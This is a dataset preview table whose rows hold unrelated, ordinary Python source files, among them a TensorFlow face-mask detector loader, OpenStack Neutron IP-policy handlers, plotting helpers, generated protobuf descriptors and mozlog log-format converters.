content stringlengths 5 1.05M |
|---|
# -*- encoding=utf-8 -*-
import tensorflow.compat.v1 as tf
tf.disable_v2_behavior()
import numpy as np
PATH_TO_TENSORFLOW_MODEL = 'models/face_mask_detection.pb'
def load_tf_model(tf_model_path):
'''
Load the model.
:param tf_model_path: model to tensorflow model.
:return: session and graph
'''
detection_graph = tf.Graph()
with detection_graph.as_default():
od_graph_def = tf.GraphDef()
with tf.gfile.GFile(PATH_TO_TENSORFLOW_MODEL, 'rb') as fid:
serialized_graph = fid.read()
od_graph_def.ParseFromString(serialized_graph)
tf.import_graph_def(od_graph_def, name='')
with detection_graph.as_default():
sess = tf.Session(graph=detection_graph)
return sess, detection_graph
def tf_inference(sess, detection_graph, img_arr):
'''
Receive an image array and run inference
:param sess: tensorflow session.
:param detection_graph: tensorflow graph.
:param img_arr: 3D numpy array, RGB order.
:return:
'''
image_tensor = detection_graph.get_tensor_by_name('data_1:0')
detection_bboxes = detection_graph.get_tensor_by_name('loc_branch_concat_1/concat:0')
detection_scores = detection_graph.get_tensor_by_name('cls_branch_concat_1/concat:0')
# image_np_expanded = np.expand_dims(img_arr, axis=0)
bboxes, scores = sess.run([detection_bboxes, detection_scores],
feed_dict={image_tensor: img_arr})
return bboxes, scores
|
from semisupervised.labelpropagation.lp2 import label_propagation
__all__ = ['lp_helper', 'label_propagation', 'lp_iteration',
'lp_data_gen', 'lp_matrix_multiply'
] |
# Copyright 2013 Openstack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from neutron.common import exceptions
from neutron.openstack.common import log as logging
from oslo.config import cfg
from quark.db import api as db_api
from quark import exceptions as quark_exceptions
from quark import plugin_views as v
CONF = cfg.CONF
LOG = logging.getLogger(__name__)
def create_ip_policy(context, ip_policy):
LOG.info("create_ip_policy for tenant %s" % context.tenant_id)
ipp = ip_policy["ip_policy"]
if not ipp.get("exclude"):
raise exceptions.BadRequest(resource="ip_policy",
msg="Empty ip_policy.exclude regions")
network_ids = ipp.get("network_ids")
subnet_ids = ipp.get("subnet_ids")
if not subnet_ids and not network_ids:
raise exceptions.BadRequest(
resource="ip_policy",
msg="network_ids or subnet_ids not specified")
with context.session.begin():
models = []
if subnet_ids:
subnets = db_api.subnet_find(
context, id=subnet_ids, scope=db_api.ALL)
if not subnets:
raise exceptions.SubnetNotFound(id=subnet_ids)
models.extend(subnets)
if network_ids:
nets = db_api.network_find(
context, id=network_ids, scope=db_api.ALL)
if not nets:
raise exceptions.NetworkNotFound(net_id=network_ids)
models.extend(nets)
for model in models:
if model["ip_policy"]:
raise quark_exceptions.IPPolicyAlreadyExists(
id=model["ip_policy"]["id"], n_id=model["id"])
model["ip_policy"] = db_api.ip_policy_create(context, **ipp)
return v._make_ip_policy_dict(model["ip_policy"])
def get_ip_policy(context, id):
LOG.info("get_ip_policy %s for tenant %s" % (id, context.tenant_id))
ipp = db_api.ip_policy_find(context, id=id, scope=db_api.ONE)
if not ipp:
raise quark_exceptions.IPPolicyNotFound(id=id)
return v._make_ip_policy_dict(ipp)
def get_ip_policies(context, **filters):
LOG.info("get_ip_policies for tenant %s" % (context.tenant_id))
ipps = db_api.ip_policy_find(context, scope=db_api.ALL, **filters)
return [v._make_ip_policy_dict(ipp) for ipp in ipps]
def update_ip_policy(context, id, ip_policy):
LOG.info("update_ip_policy for tenant %s" % context.tenant_id)
ipp = ip_policy["ip_policy"]
with context.session.begin():
ipp_db = db_api.ip_policy_find(context, id=id, scope=db_api.ONE)
if not ipp_db:
raise quark_exceptions.IPPolicyNotFound(id=id)
network_ids = ipp.get("network_ids")
subnet_ids = ipp.get("subnet_ids")
models = []
if subnet_ids:
for subnet in ipp_db["subnets"]:
subnet["ip_policy"] = None
subnets = db_api.subnet_find(
context, id=subnet_ids, scope=db_api.ALL)
if len(subnets) != len(subnet_ids):
raise exceptions.SubnetNotFound(id=subnet_ids)
models.extend(subnets)
if network_ids:
for network in ipp_db["networks"]:
network["ip_policy"] = None
nets = db_api.network_find(context, id=network_ids,
scope=db_api.ALL)
if len(nets) != len(network_ids):
raise exceptions.NetworkNotFound(net_id=network_ids)
models.extend(nets)
for model in models:
if model["ip_policy"]:
raise quark_exceptions.IPPolicyAlreadyExists(
id=model["ip_policy"]["id"], n_id=model["id"])
model["ip_policy"] = ipp_db
ipp_db = db_api.ip_policy_update(context, ipp_db, **ipp)
return v._make_ip_policy_dict(ipp_db)
def delete_ip_policy(context, id):
LOG.info("delete_ip_policy %s for tenant %s" % (id, context.tenant_id))
with context.session.begin():
ipp = db_api.ip_policy_find(context, id=id, scope=db_api.ONE)
if not ipp:
raise quark_exceptions.IPPolicyNotFound(id=id)
if ipp["networks"] or ipp["subnets"]:
raise quark_exceptions.IPPolicyInUse(id=id)
db_api.ip_policy_delete(context, ipp)
|
from toontown.safezone import DistributedTreasure
from toontown.toonbase import ToontownGlobals
from direct.interval.IntervalGlobal import *
from pandac.PandaModules import Point3
Models = {ToontownGlobals.ToontownCentral: 'phase_4/models/props/icecream',
ToontownGlobals.DonaldsDock: 'phase_6/models/props/starfish_treasure',
ToontownGlobals.TheBrrrgh: 'phase_8/models/props/snowflake_treasure',
ToontownGlobals.MinniesMelodyland: 'phase_6/models/props/music_treasure',
ToontownGlobals.DaisyGardens: 'phase_8/models/props/flower_treasure',
ToontownGlobals.DonaldsDreamland: 'phase_8/models/props/zzz_treasure'}
class DistributedCashbotBossTreasure(DistributedTreasure.DistributedTreasure):
pass # TBD
|
from preproc import Preprocessor
from preproc.errors import PreprocessorError, PreprocessorWarning
def runtest_error(filename, in_text, error_name, error_line, error_char):
pre = Preprocessor()
try:
pre.process(in_text, filename)
except PreprocessorError as err:
assert err.name == error_name and err.line == error_line and err.char == error_char
return
assert False and "No error caught"
def runtest_warning(filename, in_text, error_name, error_line, error_char):
pre = Preprocessor()
try:
pre.process(in_text, filename)
except PreprocessorWarning as err:
assert err.name == error_name and err.line == error_line and err.char == error_char
return
assert False and "No error caught"
def test_error_preproc():
test_warning = [
("{% ### %}", "invalid-command", 1, 0),
("{% undefined %}", "undefined-command", 1, 0),
]
test_error = [
("{%", "unmatched-open-token", 1, 0),
("{% block %} {% if %} {% endblock %}", "unmatched-start-block", 1, 12),
(" %}", "unmatched-close-token", 1, 2),
]
for in_text, name, line, char in test_warning:
runtest_warning("test_error_preproc", in_text, name, line, char)
for in_text, name, line, char in test_error:
runtest_error("test_error_preproc", in_text, name, line, char)
|
# *** Entertainment Center ***
#
# This acts as model and kicks the View in
import media
import fresh_tomatoes
# Model
apocalypse_now = media.Movie("Apocalypse Now",
"Let's kill a colonel, sorry terminate \
his commands",
"https://upload.wikimedia.org/wikipedia/en/c/c2/Apocalypse_Now_poster.jpg",
"https://www.youtube.com/watch?v=bPXVGQnJm0w")
english_patient = media.Movie("The English Patient",
"A remembrance of a love story at the \
end of WWII",
"https://upload.wikimedia.org/wikipedia/en/b/bd/The_English_Patient_Poster.jpg",
"https://www.youtube.com/watch?v=WPKpU14Kqqw")
inception = media.Movie("Inception",
"Using the full power of subconsciousness and dreams \
and changing it",
"https://upload.wikimedia.org/wikipedia/en/7/7f/Inception_ver3.jpg",
"https://www.youtube.com/watch?v=d3A3-zSOBT4")
je_vais_bien = media.Movie("Je vais bien, ne t'en fais pas",
"Searching for the dead twin brother",
"https://upload.wikimedia.org/wikipedia/en/thumb/d/d0/Je_vais_bien%2C_ne_t%27en_fais_pas_poster.jpg/220px-Je_vais_bien%2C_ne_t%27en_fais_pas_poster.jpg",
"https://www.youtube.com/watch?v=wJRh0PlWB6g")
oceans_11 = media.Movie("Ocean's 11",
"Let's win it all: the money, revenge and ... the girl",
"https://upload.wikimedia.org/wikipedia/en/6/68/Ocean%27s_Eleven_2001_Poster.jpg",
"https://www.youtube.com/watch?v=imm6OR605UI")
v_for_vendetta = media.Movie("V for Vendetta",
"It is more than a personal vendetta",
"https://upload.wikimedia.org/wikipedia/en/thumb/9/9f/Vforvendettamov.jpg/220px-Vforvendettamov.jpg",
"https://www.youtube.com/watch?v=qxyUl9M_7vc")
# Array as main transfer data
movies = [apocalypse_now, english_patient, inception,
je_vais_bien, oceans_11, v_for_vendetta]
# Starting the element
fresh_tomatoes.open_movies_page(movies)
|
"""Contains helper functions for visualizing the results of experiments
and comparing recorded experiments to one another.
"""
import matplotlib.pyplot as plt
from numpy.lib.arraysetops import isin
from researcher.fileutils import *
def final_compare(experiments, metrics, draw_plots=False, **kwargs):
"""Prints the final recorded value for each experiment and accross
each metric, averaged over folds. Optionally also presents this
information on lineplots.
Args:
experiments (list[Experiment]): The experiments that to
compare.
metrics (list[string]): The metrics to compare the given
experiments on.
draw_plots (bool): Indicates whether to plot graphs as well as
displaying printouts.
"""
if draw_plots:
fig, axes = plt.subplots(len(metrics), **kwargs)
for i, metric in enumerate(metrics):
print("\n" + metric)
for e in experiments:
if e.has_observation(metric):
scores = e.final_observations(metric)
labels = [f"fold_{i}" for i in range(len(scores))]
scores += [np.mean(scores)]
labels += ["mean"]
if draw_plots:
axes[i].plot(labels, scores[:])
print( "mean", scores[-1], e.identifier())
if draw_plots:
axes[i].grid()
if draw_plots:
fig.legend([e.identifier() for e in experiments])
def plot_compare(experiments, metrics, **kwargs):
"""For each experiment and for each metric, prints the fold-averaged
final score, and also plots all those scores onto a line graph.
Args:
experiments (list[Experiment]): The experiments that to
compare.
metrics (list[string]): The metrics to compare the given
experiments on.
"""
fig, axes = plt.subplots(len(metrics), **kwargs)
if not isinstance(axes, list):
axes = [axes]
for i, metric in enumerate(metrics):
print("\n" + metric)
for e in experiments:
if e.has_observation(metric):
scores = e.final_observations(metric)
labels = [f"fold_{i}" for i in range(len(scores))]
scores += [np.mean(scores)]
labels += ["mean"]
axes[i].plot(labels, scores[:])
print( "mean", scores[-1], e.identifier())
axes[i].grid()
fig.legend([e.identifier() for e in experiments])
def plot_lr(e, metric, lr_name, n_increases=3):
"""Plots the progression of the metric score over the course of the
given experiment, compared to the learning rate. This is primarily
used to help estimate an appropriate learning rate for a given model
architecture. Additional lines and printouts are added where the metric
begins to decrease or increase.
Args:
e (Experiment): The experiment of interest.
metric (string): The metric of interest.
n_increases (int, optional): The first n_increases times that the
metric goes from falling to rising will be highlighted with
printouts and plotted vertical lines. Defaults to 3.
"""
_, ax = plt.subplots(figsize=(20, 5))
values = np.mean(e.observations[metric], axis=0)
lr_values = np.mean(e.observations[lr_name], axis=0)
ax.plot(values)
start_index = 0
start = values[0]
for i, v in enumerate(values):
if v < start:
start_index = i
break
first_increase_index = 1
increasing=False
for i, v in enumerate(values[start_index+1:]):
if increasing:
if v < values[i]:
increasing=False
elif v > values[i]:
increasing=True
first_increase_index = i + start_index + 1
print("loss began to increase at: ", first_increase_index)
print("corresponding lr: ", lr_values[first_increase_index], 6)
plt.plot([first_increase_index, first_increase_index], [np.max(values), np.min(values)])
n_increases-= 1
if n_increases == 0:
break
min_index = np.argmin(values)
plt.plot([min_index, min_index], [np.max(values), np.min(values)])
print("loss began to decrease at: ", start_index)
print("corresponding lr: ", lr_values[start_index])
print("lowest loss achieved at: ", min_index)
print("corresponding lr: ", lr_values[min_index], 6)
def plot_training(es, metrics, **kwargs):
"""For each given metric, the progression of that metric over all the
given experiments will be plotted on a separate line graph.
Args:
es (list[Experiment]): The experiments of intererst.
metrics (list[string]): The metrics on which to compare the
experiments of interest.
"""
if not isinstance(es, list):
es = [es]
_, ax = plt.subplots(len(metrics), **kwargs)
if len(metrics) == 1:
ax = [ax]
for i, m in enumerate(metrics):
for e in es:
folds = e.observations[m]
line, = ax[i].plot(np.mean(folds, axis=0))
line.set_label(f"{e.identifier()} {m}")
ax[i].legend()
ax[i].grid()
def plot_folds(es, metrics, xlabel=None, ylabel=None, **kwargs):
"""For each metric, the final values of each fold of each of the given
experiments will be plotted on a scatter graph.
Args:
es (list[Experiment]): The experiments of interest.
metrics (list[string]): The metrics on which to compare the
experiments of interest.
"""
if not isinstance(es, list):
es = [es]
_, ax = plt.subplots(len(metrics), **kwargs)
if len(metrics) == 1:
ax = [ax]
for i, m in enumerate(metrics):
means = []
mean_labels = []
for e in es:
folds = e.final_observations(m)
if not isinstance(folds, list):
folds =[folds]
ax[i].scatter([e.identifier()] * len(folds), folds)
means.append(np.mean(folds))
mean_labels.append(e.identifier())
ax[i].plot(mean_labels, means)
ax[i].grid()
if xlabel is not None:
ax[i].set_xlabel(xlabel)
if ylabel is not None:
ax[i].set_ylabel(ylabel)
plt.xticks(rotation=45)
def plot_fold_training(e, metrics, **kwargs):
"""For each given metric, the progression of that metric over each fold
of the given experiment will be plotted into a line graph.
Args:
e (Experiment): The experiment of intererst.
metrics (list[string]): The metrics on which to compare the
experiment folds.
"""
if isinstance(e, tuple) or isinstance(e, list) and len(e) == 1:
e = e[0]
_, ax = plt.subplots(len(metrics), **kwargs)
if len(metrics) == 1:
ax = [ax]
for i, m in enumerate(metrics):
folds = e.observations[m]
for j, fold in enumerate(folds):
line, = ax[i].plot(fold)
line.set_label(f"{j}_{m}")
ax[i].legend()
ax[i].grid() |
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: spaceone/api/monitoring/plugin/event.proto
"""Generated protocol buffer code."""
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
from google.protobuf import empty_pb2 as google_dot_protobuf_dot_empty__pb2
from google.protobuf import struct_pb2 as google_dot_protobuf_dot_struct__pb2
DESCRIPTOR = _descriptor.FileDescriptor(
name='spaceone/api/monitoring/plugin/event.proto',
package='spaceone.api.monitoring.plugin',
syntax='proto3',
serialized_options=None,
create_key=_descriptor._internal_create_key,
serialized_pb=b'\n*spaceone/api/monitoring/plugin/event.proto\x12\x1espaceone.api.monitoring.plugin\x1a\x1bgoogle/protobuf/empty.proto\x1a\x1cgoogle/protobuf/struct.proto\"_\n\x0cParseRequest\x12(\n\x07options\x18\x01 \x01(\x0b\x32\x17.google.protobuf.Struct\x12%\n\x04\x64\x61ta\x18\x02 \x01(\x0b\x32\x17.google.protobuf.Struct\"\xf5\x02\n\tEventInfo\x12\x11\n\tevent_key\x18\x01 \x01(\t\x12\x12\n\nevent_type\x18\x02 \x01(\t\x12\r\n\x05title\x18\x03 \x01(\t\x12\x13\n\x0b\x64\x65scription\x18\x04 \x01(\t\x12\x44\n\x08severity\x18\x05 \x01(\x0e\x32\x32.spaceone.api.monitoring.plugin.EventInfo.Severity\x12)\n\x08resource\x18\x06 \x01(\x0b\x32\x17.google.protobuf.Struct\x12\x0c\n\x04rule\x18\x07 \x01(\t\x12\x13\n\x0boccurred_at\x18\x08 \x01(\t\x12\x30\n\x0f\x61\x64\x64itional_info\x18\t \x01(\x0b\x32\x17.google.protobuf.Struct\"W\n\x08Severity\x12\x08\n\x04NONE\x10\x00\x12\x0c\n\x08\x43RITICAL\x10\x01\x12\t\n\x05\x45RROR\x10\x02\x12\x0b\n\x07WARNING\x10\x03\x12\x08\n\x04INFO\x10\x04\x12\x11\n\rNOT_AVAILABLE\x10\x05\"H\n\nEventsInfo\x12:\n\x07results\x18\x01 \x03(\x0b\x32).spaceone.api.monitoring.plugin.EventInfo2l\n\x05\x45vent\x12\x63\n\x05parse\x12,.spaceone.api.monitoring.plugin.ParseRequest\x1a*.spaceone.api.monitoring.plugin.EventsInfo\"\x00\x62\x06proto3'
,
dependencies=[google_dot_protobuf_dot_empty__pb2.DESCRIPTOR,google_dot_protobuf_dot_struct__pb2.DESCRIPTOR,])
_EVENTINFO_SEVERITY = _descriptor.EnumDescriptor(
name='Severity',
full_name='spaceone.api.monitoring.plugin.EventInfo.Severity',
filename=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
values=[
_descriptor.EnumValueDescriptor(
name='NONE', index=0, number=0,
serialized_options=None,
type=None,
create_key=_descriptor._internal_create_key),
_descriptor.EnumValueDescriptor(
name='CRITICAL', index=1, number=1,
serialized_options=None,
type=None,
create_key=_descriptor._internal_create_key),
_descriptor.EnumValueDescriptor(
name='ERROR', index=2, number=2,
serialized_options=None,
type=None,
create_key=_descriptor._internal_create_key),
_descriptor.EnumValueDescriptor(
name='WARNING', index=3, number=3,
serialized_options=None,
type=None,
create_key=_descriptor._internal_create_key),
_descriptor.EnumValueDescriptor(
name='INFO', index=4, number=4,
serialized_options=None,
type=None,
create_key=_descriptor._internal_create_key),
_descriptor.EnumValueDescriptor(
name='NOT_AVAILABLE', index=5, number=5,
serialized_options=None,
type=None,
create_key=_descriptor._internal_create_key),
],
containing_type=None,
serialized_options=None,
serialized_start=521,
serialized_end=608,
)
_sym_db.RegisterEnumDescriptor(_EVENTINFO_SEVERITY)
_PARSEREQUEST = _descriptor.Descriptor(
name='ParseRequest',
full_name='spaceone.api.monitoring.plugin.ParseRequest',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='options', full_name='spaceone.api.monitoring.plugin.ParseRequest.options', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='data', full_name='spaceone.api.monitoring.plugin.ParseRequest.data', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=137,
serialized_end=232,
)
_EVENTINFO = _descriptor.Descriptor(
name='EventInfo',
full_name='spaceone.api.monitoring.plugin.EventInfo',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='event_key', full_name='spaceone.api.monitoring.plugin.EventInfo.event_key', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='event_type', full_name='spaceone.api.monitoring.plugin.EventInfo.event_type', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='title', full_name='spaceone.api.monitoring.plugin.EventInfo.title', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='description', full_name='spaceone.api.monitoring.plugin.EventInfo.description', index=3,
number=4, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='severity', full_name='spaceone.api.monitoring.plugin.EventInfo.severity', index=4,
number=5, type=14, cpp_type=8, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='resource', full_name='spaceone.api.monitoring.plugin.EventInfo.resource', index=5,
number=6, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='rule', full_name='spaceone.api.monitoring.plugin.EventInfo.rule', index=6,
number=7, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='occurred_at', full_name='spaceone.api.monitoring.plugin.EventInfo.occurred_at', index=7,
number=8, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='additional_info', full_name='spaceone.api.monitoring.plugin.EventInfo.additional_info', index=8,
number=9, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
_EVENTINFO_SEVERITY,
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=235,
serialized_end=608,
)
_EVENTSINFO = _descriptor.Descriptor(
name='EventsInfo',
full_name='spaceone.api.monitoring.plugin.EventsInfo',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='results', full_name='spaceone.api.monitoring.plugin.EventsInfo.results', index=0,
number=1, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=610,
serialized_end=682,
)
_PARSEREQUEST.fields_by_name['options'].message_type = google_dot_protobuf_dot_struct__pb2._STRUCT
_PARSEREQUEST.fields_by_name['data'].message_type = google_dot_protobuf_dot_struct__pb2._STRUCT
_EVENTINFO.fields_by_name['severity'].enum_type = _EVENTINFO_SEVERITY
_EVENTINFO.fields_by_name['resource'].message_type = google_dot_protobuf_dot_struct__pb2._STRUCT
_EVENTINFO.fields_by_name['additional_info'].message_type = google_dot_protobuf_dot_struct__pb2._STRUCT
_EVENTINFO_SEVERITY.containing_type = _EVENTINFO
_EVENTSINFO.fields_by_name['results'].message_type = _EVENTINFO
DESCRIPTOR.message_types_by_name['ParseRequest'] = _PARSEREQUEST
DESCRIPTOR.message_types_by_name['EventInfo'] = _EVENTINFO
DESCRIPTOR.message_types_by_name['EventsInfo'] = _EVENTSINFO
_sym_db.RegisterFileDescriptor(DESCRIPTOR)
ParseRequest = _reflection.GeneratedProtocolMessageType('ParseRequest', (_message.Message,), {
'DESCRIPTOR' : _PARSEREQUEST,
'__module__' : 'spaceone.api.monitoring.plugin.event_pb2'
# @@protoc_insertion_point(class_scope:spaceone.api.monitoring.plugin.ParseRequest)
})
_sym_db.RegisterMessage(ParseRequest)
EventInfo = _reflection.GeneratedProtocolMessageType('EventInfo', (_message.Message,), {
'DESCRIPTOR' : _EVENTINFO,
'__module__' : 'spaceone.api.monitoring.plugin.event_pb2'
# @@protoc_insertion_point(class_scope:spaceone.api.monitoring.plugin.EventInfo)
})
_sym_db.RegisterMessage(EventInfo)
EventsInfo = _reflection.GeneratedProtocolMessageType('EventsInfo', (_message.Message,), {
'DESCRIPTOR' : _EVENTSINFO,
'__module__' : 'spaceone.api.monitoring.plugin.event_pb2'
# @@protoc_insertion_point(class_scope:spaceone.api.monitoring.plugin.EventsInfo)
})
_sym_db.RegisterMessage(EventsInfo)
_EVENT = _descriptor.ServiceDescriptor(
name='Event',
full_name='spaceone.api.monitoring.plugin.Event',
file=DESCRIPTOR,
index=0,
serialized_options=None,
create_key=_descriptor._internal_create_key,
serialized_start=684,
serialized_end=792,
methods=[
_descriptor.MethodDescriptor(
name='parse',
full_name='spaceone.api.monitoring.plugin.Event.parse',
index=0,
containing_service=None,
input_type=_PARSEREQUEST,
output_type=_EVENTSINFO,
serialized_options=None,
create_key=_descriptor._internal_create_key,
),
])
_sym_db.RegisterServiceDescriptor(_EVENT)
DESCRIPTOR.services_by_name['Event'] = _EVENT
# @@protoc_insertion_point(module_scope)
|
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
convertor_registry = {}
missing = object()
no_default = object()
class log_action(object):
def __init__(self, *args):
self.args = {}
self.args_no_default = []
self.args_with_default = []
# These are the required fields in a log message that usually aren't
# supplied by the caller, but can be in the case of log_raw
self.default_args = [
Unicode("action"),
Int("time"),
Unicode("thread"),
Int("pid", default=None),
Unicode("source"),
Unicode("component")]
for arg in args:
if arg.default is no_default:
self.args_no_default.append(arg.name)
else:
self.args_with_default.append(arg.name)
if arg.name in self.args:
raise ValueError("Repeated argument name %s" % arg.name)
self.args[arg.name] = arg
for extra in self.default_args:
self.args[extra.name] = extra
def __call__(self, f):
convertor_registry[f.__name__] = self
converter = self
def inner(self, *args, **kwargs):
data = converter.convert(*args, **kwargs)
return f(self, data)
if hasattr(f, '__doc__'):
setattr(inner, '__doc__', f.__doc__)
return inner
def convert(self, *args, **kwargs):
data = {}
values = {}
values.update(kwargs)
positional_no_default = [item for item in self.args_no_default if item not in values]
num_no_default = len(positional_no_default)
if len(args) < num_no_default:
raise TypeError("Too few arguments")
if len(args) > num_no_default + len(self.args_with_default):
raise TypeError("Too many arguments")
for i, name in enumerate(positional_no_default):
values[name] = args[i]
positional_with_default = [self.args_with_default[i]
for i in range(len(args) - num_no_default)]
for i, name in enumerate(positional_with_default):
if name in values:
raise TypeError("Argument %s specified twice" % name)
values[name] = args[i + num_no_default]
# Fill in missing arguments
for name in self.args_with_default:
if name not in values:
values[name] = self.args[name].default
for key, value in values.iteritems():
if key in self.args:
out_value = self.args[key](value)
if out_value is not missing:
data[key] = out_value
else:
raise TypeError("Unrecognised argument %s" % key)
return data
def convert_known(self, **kwargs):
known_kwargs = {name: value for name, value in kwargs.iteritems()
if name in self.args}
return self.convert(**known_kwargs)
class DataType(object):
def __init__(self, name, default=no_default, optional=False):
self.name = name
self.default = default
if default is no_default and optional is not False:
raise ValueError("optional arguments require a default value")
self.optional = optional
def __call__(self, value):
if value == self.default:
if self.optional:
return missing
return self.default
try:
return self.convert(value)
except:
raise ValueError("Failed to convert value %s of type %s for field %s to type %s" %
(value, type(value).__name__, self.name, self.__class__.__name__))
class Unicode(DataType):
def convert(self, data):
if isinstance(data, unicode):
return data
if isinstance(data, str):
return data.decode("utf8", "replace")
return unicode(data)
class TestId(DataType):
def convert(self, data):
if isinstance(data, unicode):
return data
elif isinstance(data, str):
return data.decode("utf-8", "replace")
elif isinstance(data, tuple):
# This is really a bit of a hack; should really split out convertors from the
# fields they operate on
func = Unicode(None).convert
return tuple(func(item) for item in data)
else:
raise ValueError
class Status(DataType):
allowed = ["PASS", "FAIL", "OK", "ERROR", "TIMEOUT", "CRASH", "ASSERT", "SKIP"]
def convert(self, data):
value = data.upper()
if value not in self.allowed:
raise ValueError
return value
class SubStatus(Status):
allowed = ["PASS", "FAIL", "ERROR", "TIMEOUT", "ASSERT", "NOTRUN"]
class Dict(DataType):
def convert(self, data):
return dict(data)
class List(DataType):
def __init__(self, name, item_type, default=no_default, optional=False):
DataType.__init__(self, name, default, optional)
self.item_type = item_type(None)
def convert(self, data):
return [self.item_type.convert(item) for item in data]
class Int(DataType):
def convert(self, data):
return int(data)
class Any(DataType):
def convert(self, data):
return data
|
import json
import sys
with open(sys.argv[1],'r', encoding='utf-8') as inFile:
with open(sys.argv[2], 'w', encoding='utf-8') as outFile:
header = None
headix= None
for l in inFile:
o=json.loads(l)
if header is None:
header = []
for k in o:
if isinstance(o[k],dict):
for k2 in o[k]:
header.append(k+'.'+k2)
if type(o[k][k2]) is dict:
raise(k+'.'+k2)
elif isinstance(o[k],list):
raise(k)
else:
header.append(k)
outFile.write('\t'.join(header)+'\n')
else:
for k in o:
if isinstance(o[k],dict):
for k2 in o[k]:
if k+'.'+k2 not in header:
raise(k+'.'+k2)
elif isinstance(o[k],list):
raise(k)
elif k not in header:
raise(k)
r=[]
for h in header:
if '.' in h:
k=h.split('.')
#print(k)
if k[0] in o and k[1] in o[k[0]]:
r.append(str(o[k[0]][k[1]]).replace('\n','\\n'))
else:
r.append('')
else:
r.append(o[h] if h in o else '')
outFile.write('\t'.join(r)+'\n')
|
"""
Render a template using Genshi module.
"""
import pyperf
from genshi.template import MarkupTemplate, NewTextTemplate
BIGTABLE_XML = """\
<table xmlns:py="http://genshi.edgewall.org/">
<tr py:for="row in table">
<td py:for="c in row.values()" py:content="c"/>
</tr>
</table>
"""
BIGTABLE_TEXT = """\
<table>
{% for row in table %}<tr>
{% for c in row.values() %}<td>$c</td>{% end %}
</tr>{% end %}
</table>
"""
def bench_genshi(loops, tmpl_cls, tmpl_str):
tmpl = tmpl_cls(tmpl_str)
